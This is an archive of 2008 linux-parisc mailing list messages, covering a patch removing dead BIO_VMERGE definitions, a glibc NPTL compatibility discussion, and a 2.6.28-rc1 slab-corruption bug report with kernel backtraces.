Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 22 21:09:57 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ksj5f-0006IW-Jc
	for glpp-linux-parisc@gmane.org; Wed, 22 Oct 2008 21:09:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751273AbYJVTIr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 22 Oct 2008 15:08:47 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752918AbYJVTIr
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 22 Oct 2008 15:08:47 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:41725 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751273AbYJVTIq (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 22 Oct 2008 15:08:46 -0400
Original-Received: (qmail invoked by alias); 22 Oct 2008 19:08:43 -0000
Original-Received: from mnhm-590f5b66.pool.einsundeins.de (EHLO halden.box) [89.15.91.102]
  by mail.gmx.net (mp013) with SMTP; 22 Oct 2008 21:08:43 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX183CH4Kluc3EGBl+KQLkCz0c/ql6n7eFdLh+8gM+K
	MbmnF00JmXeXKO
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20081020213113.GA16559@hera.kernel.org>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.65
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:805
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/805>

Kyle McMartin wrote:
> The following changes since commit d403a6484f0341bf0624d17ece46f24f741b6a92:
>   Linus Torvalds (1):
>         Merge phase #1 of git://git.kernel.org/.../tip/linux-2.6-tip
> 
> are available in the git repository at:
> 
>   hera.kernel.org:/pub/scm/linux/kernel/git/kyle/parisc-2.6.git master
 > [...]

Hi Kyle,

thanks for pushing some patches upstream.
But is there a reason, why you didn't applied others (e.g. the userspace 
crash fix)?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parisc: remove dead BIO_VMERGE_BOUNDARY and
 BIO_VMERGE_MAX_SIZE definitions
Date: Fri, 24 Oct 2008 14:41:01 +0900
Lines: 79
Approved: news@gmane.org
Message-ID: <20081024143826Z.fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1224827000 23542 80.91.229.12 (24 Oct 2008 05:43:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 24 Oct 2008 05:43:20 +0000 (UTC)
Cc: kyle@mcmartin.ca, matthew@wil.cx, grundler@parisc-linux.org,
	jens.axboe@oracle.com, linux-kernel@vger.kernel.org
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 24 07:44:20 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KtFT9-00024S-AA
	for glpp-linux-parisc@gmane.org; Fri, 24 Oct 2008 07:44:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756945AbYJXFnC (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 24 Oct 2008 01:43:02 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756932AbYJXFnB
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 24 Oct 2008 01:43:01 -0400
Original-Received: from sh.osrg.net ([192.16.179.4]:46381 "EHLO sh.osrg.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756895AbYJXFm7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 24 Oct 2008 01:42:59 -0400
Original-Received: from localhost (viola.osrg.net [10.76.0.4])
	by sh.osrg.net (8.13.8/8.13.8/OSRG-NET) with ESMTP id m9O5f1TH012944;
	Fri, 24 Oct 2008 14:41:01 +0900
Original-Lines: 74
X-Virus-Scanned: ClamAV 0.94/8483/Fri Oct 24 12:01:54 2008 on sh.osrg.net
X-Virus-Status: Clean
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:806 gmane.linux.kernel:748724
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/806>

The block layer dropped the virtual merge feature
(b8b3e16cfe6435d961f6aaebcfd52a1ff2a988c5). BIO_VMERGE_BOUNDARY and
BIO_VMERGE_MAX_SIZE definitions are meaningless now.

Signed-off-by: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
---
 arch/parisc/include/asm/io.h |    6 ------
 arch/parisc/kernel/setup.c   |    5 -----
 drivers/parisc/ccio-dma.c    |    2 --
 drivers/parisc/sba_iommu.c   |    2 --
 4 files changed, 0 insertions(+), 15 deletions(-)

diff --git a/arch/parisc/include/asm/io.h b/arch/parisc/include/asm/io.h
index 55ddb18..b92efb3 100644
--- a/arch/parisc/include/asm/io.h
+++ b/arch/parisc/include/asm/io.h
@@ -4,12 +4,6 @@
 #include <linux/types.h>
 #include <asm/pgtable.h>
 
-extern unsigned long parisc_vmerge_boundary;
-extern unsigned long parisc_vmerge_max_size;
-
-#define BIO_VMERGE_BOUNDARY	parisc_vmerge_boundary
-#define BIO_VMERGE_MAX_SIZE	parisc_vmerge_max_size
-
 #define virt_to_phys(a) ((unsigned long)__pa(a))
 #define phys_to_virt(a) __va(a)
 #define virt_to_bus virt_to_phys
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index 7d27853..8d8b024 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -58,11 +58,6 @@ int parisc_bus_is_phys __read_mostly = 1;	/* Assume no IOMMU is present */
 EXPORT_SYMBOL(parisc_bus_is_phys);
 #endif
 
-/* This sets the vmerge boundary and size, it's here because it has to
- * be available on all platforms (zero means no-virtual merging) */
-unsigned long parisc_vmerge_boundary = 0;
-unsigned long parisc_vmerge_max_size = 0;
-
 void __init setup_cmdline(char **cmdline_p)
 {
 	extern unsigned int boot_args[];
diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index dcc1e99..62cc21d 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -1578,8 +1578,6 @@ static int __init ccio_probe(struct parisc_device *dev)
 
 	ioc_count++;
 
-	parisc_vmerge_boundary = IOVP_SIZE;
-	parisc_vmerge_max_size = BITS_PER_LONG * IOVP_SIZE;
 	parisc_has_iommu();
 	return 0;
 }
diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index bc73b96..bdc9a0a 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -1979,8 +1979,6 @@ sba_driver_callback(struct parisc_device *dev)
 	proc_create("sba_iommu-bitmap", 0, root, &sba_proc_bitmap_fops);
 #endif
 
-	parisc_vmerge_boundary = IOVP_SIZE;
-	parisc_vmerge_max_size = IOVP_SIZE * BITS_PER_LONG;
 	parisc_has_iommu();
 	return 0;
 }
-- 
1.5.4.2

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: NTPL transition
Date: Fri, 24 Oct 2008 01:45:05 -0400
Lines: 43
Approved: news@gmane.org
Message-ID: <119aab440810232245r4414de7bhc4435905e233d9fd@mail.gmail.com>
References: <Pine.LNX.4.62.0809061002060.19796@sci.felk.cvut.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1224827119 23824 80.91.229.12 (24 Oct 2008 05:45:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 24 Oct 2008 05:45:19 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: "Petr Salinger" <Petr.Salinger@seznam.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 24 07:46:20 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KtFV3-0002YL-1N
	for glpp-linux-parisc@gmane.org; Fri, 24 Oct 2008 07:46:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751719AbYJXFpI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 24 Oct 2008 01:45:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752310AbYJXFpI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 24 Oct 2008 01:45:08 -0400
Original-Received: from wf-out-1314.google.com ([209.85.200.173]:41923 "EHLO
	wf-out-1314.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752263AbYJXFpF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 24 Oct 2008 01:45:05 -0400
Original-Received: by wf-out-1314.google.com with SMTP id 27so699166wfd.4
        for <linux-parisc@vger.kernel.org>; Thu, 23 Oct 2008 22:45:05 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=yaFq7XnQzsBVgf2j9Zm2HnJey3NHsKSsq6SAJfFrk9Y=;
        b=PY8n5Yt+48CryZ/98ec/AB+VRu2KYE7CmZlLs2iVh/taH8EhXEAI+vlIK/9yQu8O5D
         aukRfPLhTnUgINf5nlsBwU8WgsRjc39bgZVEaY2tqADVu2YeCVeeXskfcFuzIGbcR2Hp
         pUvPJOxlQxc45XCjj/xXJ66EQvzKn+8fsm6RU=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=KJeYvBD7VBUCkTlhk0Jl9w/Xf88mn4BYHjwm1WVg+7qxmLJ2pE9K61sZG1lmjP9p+0
         73uwK51uCsw+yqpYStc6BMCXTHar5cXN/fUWvrf24o91WITC71Y8c2W1S9QSGLJlXQs4
         FmKOF6z+PFJmoZCmyRrc6azdVU0YQ61drbGGE=
Original-Received: by 10.142.70.16 with SMTP id s16mr798096wfa.120.1224827105117;
        Thu, 23 Oct 2008 22:45:05 -0700 (PDT)
Original-Received: by 10.143.3.10 with HTTP; Thu, 23 Oct 2008 22:45:05 -0700 (PDT)
In-Reply-To: <Pine.LNX.4.62.0809061002060.19796@sci.felk.cvut.cz>
Content-Disposition: inline
X-Google-Sender-Auth: 02cba46c40fbf99a
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:807 gmane.linux.debian.ports.hppa:5540
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/807>

On Sat, Sep 6, 2008 at 4:24 AM, Petr Salinger <Petr.Salinger@seznam.cz> wrote:
> Imagine function in a shared library foo which takes as argument
> pthread_mutex_t and does usual:
>
>        pthread_mutex_lock()
>        do some work
>        pthread_mutex_unlock()
>
> And a program bar, which uses foo. Inside bar is a static initialized lock.
> The foo might be (re)compiled against NPTL, while bar would be still
> compiled against LT. Therefore check_and_reset() should be called as long as
> any installed (debian) package have not been recompiled against NPTL. The
> overhead of check_and_reset() looks very small, it should be no problem at
> all. The harder part is to determine each place, where
> check_and_reset() should be called. It have to be in all places,
> where static initialized lock might be passed for the 1st time,
> i.e. it should be in  pthread_mutex_lock(), but not in
> pthread_mutex_unlock().

I reviewed the compatibility provided by glibc for the pthread_cond_t
change in 2.3.2, and I see no such guarantee that an address of a
pthread_cont_t in an old binary can be safely passed to a library
rebuilt against the new libc . When upstream changed pthread_cond_t,
making it larger, they versioned the interface, and the old function
mallocs a pointer to the new structure and call the new function with
the newly malloc'd structure.

I think 99% of all situations are covered by providing an old
function. Guarding the new function against a mixed ABI use seems like
a performance penalty with an unknown benefit. Clearly if upstream
glibc didn't think it was usefull, should we also ignore this
scenario?

I have compat patches in testing on my SMP parisc64 box. I should have
some results by next week.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Linux 2.6.28-rc1: slab error in cache_alloc_debugcheck_after()
Date: Sun, 26 Oct 2008 21:14:23 +0100
Lines: 519
Approved: news@gmane.org
Message-ID: <4904CF9F.8060405@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1225052082 8993 80.91.229.12 (26 Oct 2008 20:14:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 26 Oct 2008 20:14:42 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 26 21:15:43 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KuC1V-0001jt-5F
	for glpp-linux-parisc@gmane.org; Sun, 26 Oct 2008 21:15:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753167AbYJZUOc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 26 Oct 2008 16:14:32 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753712AbYJZUOc
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 26 Oct 2008 16:14:32 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:55241 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751652AbYJZUOa (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 26 Oct 2008 16:14:30 -0400
Original-Received: (qmail invoked by alias); 26 Oct 2008 20:14:26 -0000
Original-Received: from mnhm-590e0cbe.pool.einsundeins.de (EHLO halden.box) [89.14.12.190]
  by mail.gmx.net (mp056) with SMTP; 26 Oct 2008 21:14:26 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1//AbF5ae3/MetVafoiB7tJqmSuCRLBxRbDkS9soB
	67Wj8Uall0J1Ep
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.52
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:808
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/808>

Just tried 2.6.28-rc1:
....
usbcore: registered new interface driver usbhid
usbhid: v2.6:USB HID core driver
TCP cubic registered
NET: Registered protocol family 17
RPC: Registered udp transport module.
RPC: Registered tcp transport module.
rtc-parisc rtc-parisc: setting system clock to 2008-10-26 19:59:18 UTC 
(1225051158)
usb 1-1: new low speed USB device using ohci_hcd and address 2
usb 1-1: configuration #1 chosen from 1 choice
input: Logitech N48 as /class/input/input0
generic-usb 0003:046D:C001.0001: input,hidraw0: USB HID v1.00 Mouse 
[Logitech N48] on usb-0000:00:0e.2-1/inpu0
usb 1-1: New USB device found, idVendor=046d, idProduct=c001
usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=0
usb 1-1: Product: N48
usb 1-1: Manufacturer: Logitech
usb 1-2: new low speed USB device using ohci_hcd and address 3
usb 1-2: configuration #1 chosen from 1 choice
slab error in cache_alloc_debugcheck_after(): cache `size-512': double 
free, or memory outside object was oven
Backtrace:
  [<101a5724>] cache_alloc_debugcheck_after+0xd8/0x200
  [<101a5cac>] kmem_cache_alloc+0x1a0/0x1e8
  [<1042e294>] hid_register_report+0x60/0xc4
  [<1042e5f8>] hid_add_field+0x40/0x1a4
  [<1042ec40>] hid_parser_main+0x94/0xc4
Slab corruption: size-512 start=8f1ac768, len=512
Redzone: 0x9f911029d74e35b/0x0.
Last user: [<00000000>](0x0)
190: 6b 6b 6b 6b 6b 6b 6b 6b 00 00 00 00 00 00 00 00
1a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
1b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
1c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
1d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
1e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Prev obj: start=8f1ac550, len=512
Redzone: 0x9f911029d74e35b/0x9f911029d74e35b.
Last user: [<00000000>](0x0)
000: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b
010: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b
Next obj: start=8f1ac980, len=512
Redzone: 0x0/0x9f911029d74e35b.
Last user: [<1042e294>](hid_register_report+0x60/0xc4)
000: 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a
010: 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a
slab error in cache_alloc_debugcheck_after(): cache `size-512': double 
free, or memory outside object was oven
Backtrace:
  [<101a5724>] cache_alloc_debugcheck_after+0xd8/0x200
  [<101a6184>] __kmalloc_track_caller+0x1e4/0x230
  [<10456778>] __alloc_skb+0x78/0x264
  [<10456a54>] dev_alloc_skb+0x1c/0x44
  [<103424a0>] tulip_rx+0x1f8/0x3f4
  [<10342804>] tulip_interrupt+0x168/0xab0
  [<10172758>] handle_IRQ_event+0x44/0x8c
  [<101728e8>] __do_IRQ+0x148/0x1c8
  [<1011517c>] do_cpu_irq_mask+0x194/0x204
  [<10118068>] intr_return+0x0/0x4
  [<10110958>] _spin_unlock_irqrestore+0x10/0x20
  [<10146e30>] __do_softirq+0x80/0x19c
  [<1019f9d8>] shmem_swp_alloc+0x208/0x248
  [<101bf378>] dispose_list+0x7c/0x138
  [<10110958>] _spin_unlock_irqrestore+0x10/0x20
  [<10172758>] handle_IRQ_event+0x44/0x8c

8f1ac760: redzone 1:0x9f911029d74e35b, redzone 2:0x0
  [<1042ef48>] hid_parse_report+0xc8/0x14c
  [<1044d4f0>] usbhid_parse+0x1dc/0x220
  [<104300d0>] hid_device_probe+0x74/0xec
  [<10336430>] really_probe+0x10c/0x20c
  [<103365ac>] driver_probe_device+0x5c/0x78
  [<103353b4>] bus_for_each_drv+0x54/0x9c
  [<1033663c>] device_attach+0x5c/0x80
  [<1033557c>] bus_attach_device+0x2c/0x68
  [<1033396c>] device_add+0x150/0x294
  [<104303d4>] hid_add_device+0xe8/0x10c
  [<1044dce8>] hid_probe+0x1a8/0x208

8f1ac978: redzone 1:0x0, redzone 2:0x9f911029d74e35b
Slab corruption: size-4096 start=8f1a9000, len=4096
040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Sending BOOTP requests .<6>input: SILITEK USB Keyboard and Mouse as 
/class/input/input1
  OK
eth0: Setting full-duplex based on MII#1 link partner capability of 45e1.
Slab corruption: size-512 start=8f1ac550, len=512
Redzone: 0x9f911029d74e35b/0x9f911029d74e35b.
Last user: [<00000000>](0x0)
130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Prev obj: start=8f1ac338, len=512
Redzone: 0x9f911029d74e35b/0x9f911029d74e35b.
Last user: [<10456f00>](__kfree_skb+0x10/0x24)
000: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b
010: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b
Next obj: start=8f1ac768, len=512
Redzone: 0xd84156c5635688c0/0xd84156c5635688c0.
Last user: [<1042e294>](hid_register_report+0x60/0xc4)
000: 8f 13 a4 3c 8f 13 a4 3c 00 00 00 00 00 00 00 01
010: 8f 97 11 88 00 00 00 00 00 00 00 00 00 00 00 00
Slab corruption: size-32 start=8f1aa590, len=32
Redzone: 0x0/0x0.
Last user: [<00000000>](0x0)
000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Prev obj: start=8f1aa558, len=32
Redzone: 0x0/0x0.
Last user: [<00000000>](0x0)
000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Next obj: start=8f1aa5c8, len=32
Redzone: 0xd84156c5635688c0/0xd84156c5635688c0.
Last user: [<101ffd90>](sysfs_new_dirent+0x40/0x1a4)
000: 73 75 62 73 79 73 74 65 6d 00 5a 5a 5a 5a 5a 5a
010: 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a a5
slab error in cache_alloc_debugcheck_after(): cache `size-32': double 
free, or memory outside object was overn
Backtrace:
  [<101a5724>] cache_alloc_debugcheck_after+0xd8/0x200
  [<101a5f54>] __kmalloc+0x1e4/0x230
  [<102c2f9c>] kobject_get_path+0x3c/0x74
  [<102c3d64>] kobject_uevent_env+0x100/0x3c8
  [<10333964>] device_add+0x148/0x294
  [<10333e64>] device_create_vargs+0x98/0xd0
  [<10333ec8>] device_create+0x2c/0x38
  [<1043fdbc>] hidraw_connect+0xec/0x170
  [<1042fe00>] hid_connect+0xa4/0x28c
  [<1043010c>] hid_device_probe+0xb0/0xec
  [<10336430>] really_probe+0x10c/0x20c
  [<103365ac>] driver_probe_device+0x5c/0x78
  [<103353b4>] bus_for_each_drv+0x54/0x9c
  [<1033663c>] device_attach+0x5c/0x80
  [<1033557c>] bus_attach_device+0x2c/0x68
  [<1033396c>] device_add+0x150/0x294

8f1aa588: redzone 1:0x0, redzone 2:0x0
Slab corruption: size-64 start=8f139188, len=64
Redzone: 0x0/0x9f911029d74e35b.
Last user: [<00000000>](0x0)
000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
030: 00 00 00 00 00 00 00 00 6b 6b 6b 6b 6b 6b 6b a5
Prev obj: start=8f139130, len=64
Redzone: 0x9f911029d74e35b/0x9f911029d74e35b.
Last user: [<00000000>](0x0)
000: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b
010: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b
Next obj: start=8f1391e0, len=64
Redzone: 0xd84156c5635688c0/0xd84156c5635688c0.
Last user: [<1043fd04>](hidraw_connect+0x34/0x170)
000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
slab error in cache_alloc_debugcheck_after(): cache `size-64': double 
free, or memory outside object was overn
Backtrace:
  [<101a5724>] cache_alloc_debugcheck_after+0xd8/0x200
  [<101a5cac>] kmem_cache_alloc+0x1a0/0x1e8
  [<101550c0>] call_usermodehelper_setup+0x30/0x70
  [<102c3fc8>] kobject_uevent_env+0x364/0x3c8
  [<10333964>] device_add+0x148/0x294
  [<10333e64>] device_create_vargs+0x98/0xd0
  [<10333ec8>] device_create+0x2c/0x38
  [<1043fdbc>] hidraw_connect+0xec/0x170
  [<1042fe00>] hid_connect+0xa4/0x28c
  [<1043010c>] hid_device_probe+0xb0/0xec
  [<10336430>] really_probe+0x10c/0x20c
  [<103365ac>] driver_probe_device+0x5c/0x78
  [<103353b4>] bus_for_each_drv+0x54/0x9c
  [<1033663c>] device_attach+0x5c/0x80
  [<1033557c>] bus_attach_device+0x2c/0x68
  [<1033396c>] device_add+0x150/0x294

8f139180: redzone 1:0x0, redzone 2:0x9f911029d74e35b
generic-usb 0003:047B:0002.0002: input,hidraw1: USB HID v1.00 Keyboard 
[SILITEK USB Keyboard and Mouse] on us0
Slab corruption: size-32 start=8f1aa558, len=32
Redzone: 0x0/0x0.
Last user: [<00000000>](0x0)
000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Prev obj: start=8f1aa520, len=32
Redzone: 0x9f911029d74e35b/0x0.
Last user: [<00000000>](0x0)
000: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b
010: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b a5
Next obj: start=8f1aa590, len=32
Redzone: 0xd84156c5635688c0/0xd84156c5635688c0.
Last user: [<102ccb7c>](kvasprintf+0x44/0x84)
000: 75 73 62 64 65 76 31 2e 33 5f 65 70 38 31 00 5a
010: 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a a5
slab error in cache_alloc_debugcheck_after(): cache `size-32': double 
free, or memory outside object was overn
Backtrace:
  [<101a5724>] cache_alloc_debugcheck_after+0xd8/0x200
  [<101a6184>] __kmalloc_track_caller+0x1e4/0x230
  [<10188b70>] kstrdup+0x44/0x7c
  [<101ffd90>] sysfs_new_dirent+0x40/0x1a4
  [<10200594>] create_dir+0x38/0x124
  [<102006f0>] sysfs_create_dir+0x48/0x68
  [<102c2e6c>] create_dir+0x24/0x60
  [<102c3168>] kobject_add_internal+0x80/0x104
  [<102c33e0>] kobject_add+0x5c/0x68
  [<10333898>] device_add+0x7c/0x294
  [<103ceb60>] usb_create_ep_files+0x10c/0x198
  [<103ce3e0>] usb_create_sysfs_intf_files+0x90/0xc8
  [<103cb038>] usb_set_configuration+0x3b4/0x3f4
  [<103d24fc>] generic_probe+0x64/0xb4
  [<103cb43c>] usb_probe_device+0x48/0x54
  [<10336430>] really_probe+0x10c/0x20c

8f1aa550: redzone 1:0x0, redzone 2:0x0
slab error in cache_alloc_debugcheck_after(): cache `size-32': double 
free, or memory outside object was overn
Backtrace:
  [<101a5724>] cache_alloc_debugcheck_after+0xd8/0x200
  [<101a6184>] __kmalloc_track_caller+0x1e4/0x230
  [<10188b70>] kstrdup+0x44/0x7c
  [<101ffd90>] sysfs_new_dirent+0x40/0x1a4
  [<10201130>] sysfs_do_create_link+0x134/0x2c8
  [<103337ac>] device_create_sys_dev_entry+0x50/0x64
  [<10333920>] device_add+0x104/0x294
  [<103ceb60>] usb_create_ep_files+0x10c/0x198
  [<103ce3e0>] usb_create_sysfs_intf_files+0x90/0xc8
  [<103cb038>] usb_set_configuration+0x3b4/0x3f4
